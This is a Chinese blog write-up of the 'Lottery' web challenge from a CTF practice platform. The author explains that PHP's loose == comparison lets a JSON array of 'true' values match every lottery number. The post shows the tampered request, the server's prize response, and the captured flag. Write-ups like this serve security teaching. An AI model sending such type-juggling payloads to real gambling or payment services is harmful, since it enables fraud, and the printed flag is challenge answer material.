

# 攻防世界Web Lottery writeup

原创

[Sprint#51264](#) 于 2020-08-15 16:38:10 发布 93 收藏

分类专栏: [Web](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: [https://blog.csdn.net/qq\\_45837896/article/details/108024329](https://blog.csdn.net/qq_45837896/article/details/108024329)

版权



[Web](#) 专栏收录该内容

12 篇文章 0 订阅

订阅专栏

等了这么久这道题终于能注册了! 赶紧做一波

这是一道长得比较新奇的题

打开是一个博彩网站

Lottery! Home Buy Account Claim Your Prize 13216546 \$20 Logout

Buy a lottery!

7 numbers Buy!

[https://blog.csdn.net/qq\\_45837896](https://blog.csdn.net/qq_45837896)

根据提示注册之后

如果不能注册, 没关系不只是你一个人遇到了这个问题, 多大开几次再不济多开几次环境, 我试了n次...

首先尝试一下

Buy a lottery!

1111111 Buy!

Prize: 0

Winning numbers:

8 3 2 5 7 9 4

Your numbers:

1 1 1 1 1 1 1

[https://blog.csdn.net/qq\\_45837896](https://blog.csdn.net/qq_45837896)

你输入数字, 然后跟系统给的进行匹配, 可能是一样才会给钱

再看一下其他页面

Notice: You are offered a huge discount!

## All items

Flag

**\$9990000**

On Sale  
buy the flag if you can

Buy

[https://blog.csdn.net/qq\\_45837896](https://blog.csdn.net/qq_45837896)

有钱人才能买的flag

题目有附件，我们可以下载下来看一遍源码，有助于我们作弊

逐一看过之后发现这个api.php是和抽奖页面有关的

进行代码审计

```
function random_win_nums(){  
    $result = '';  
    for($i=0; $i<7; $i++){  
        $result .= random_num();  
    }  
    return $result;  
}
```

发现这个网站的数字是随机给的，但是看这个比较的代码时就能感觉出一点端倪

```
$money = $_SESSION['money'];  
$numbers = $req['numbers'];  
$win_numbers = random_win_nums();  
$same_count = 0;  
for($i=0; $i<7; $i++){  
    if($numbers[$i] == $win_numbers[$i]){  
        $same_count++;  
    }  
}
```

这里用的是==，很容易联想到之前遇到的PHP弱比较，关于这个弱比较类型php官网有很清楚的表格

[PHP类型比较表](#)

松散比较 ==

	TRUE	FALSE	1	0	-1	"1"	"0"	"-1"	NULL	array()	"php"	""
TRUE	TRUE	FALSE	TRUE	FALSE	TRUE	TRUE	FALSE	TRUE	FALSE	FALSE	TRUE	FALSE
FALSE	FALSE	TRUE	FALSE	TRUE	FALSE	FALSE	TRUE	FALSE	TRUE	TRUE	FALSE	TRUE
1	TRUE	FALSE	TRUE	FALSE	FALSE	TRUE	FALSE	FALSE	FALSE	FALSE	FALSE	FALSE
0	FALSE	TRUE	FALSE	TRUE	FALSE	FALSE	TRUE	FALSE	TRUE	FALSE	TRUE	TRUE
-1	TRUE	FALSE	FALSE	FALSE	TRUE	FALSE	FALSE	TRUE	FALSE	FALSE	FALSE	FALSE
"1"	TRUE	FALSE	TRUE	FALSE	FALSE	TRUE	FALSE	FALSE	FALSE	FALSE	FALSE	FALSE
"0"	FALSE	TRUE	FALSE	TRUE	FALSE	FALSE	TRUE	FALSE	FALSE	FALSE	FALSE	FALSE
"-1"	TRUE	FALSE	FALSE	FALSE	TRUE	FALSE	FALSE	TRUE	FALSE	FALSE	FALSE	FALSE
NULL	FALSE	TRUE	FALSE	TRUE	FALSE	FALSE	FALSE	FALSE	TRUE	TRUE	FALSE	TRUE
array()	FALSE	TRUE	FALSE	FALSE	FALSE	FALSE	FALSE	FALSE	TRUE	TRUE	FALSE	FALSE
"php"	TRUE	FALSE	FALSE	TRUE	FALSE	FALSE	FALSE	FALSE	FALSE	FALSE	TRUE	FALSE
""	FALSE	TRUE	FALSE	TRUE	FALSE	FALSE	FALSE	FALSE	TRUE	FALSE	FALSE	TRUE

[https://blog.csdn.net/qq\\_15837396](https://blog.csdn.net/qq_15837396)

可以看到，这个数字和 TRUE 松散比较是会返回 true 的，我们可以想到上传一组 true 代替我们的数字，那么每次比较都是成功了但是网站上传只能是一串数字，我们可以考虑一下 bp 抓包改一下数据

Cache-Control: no-cache

```
{"action": "buy", "numbers": [true, true, true, true, true, true, true, true]}
```

将上传的一串数字改成数组，然后放过

```
{"status": "ok", "numbers": [true, true, true, true, true, true, true, true], "win_numbers": "3648608", "money": 200012, "prize": 200000}
```

多来几次多搞点，去买一下 flag

Here is your flag: cyberpeace{6f2a5a2ba85e996f0454e206f2308527}

很有趣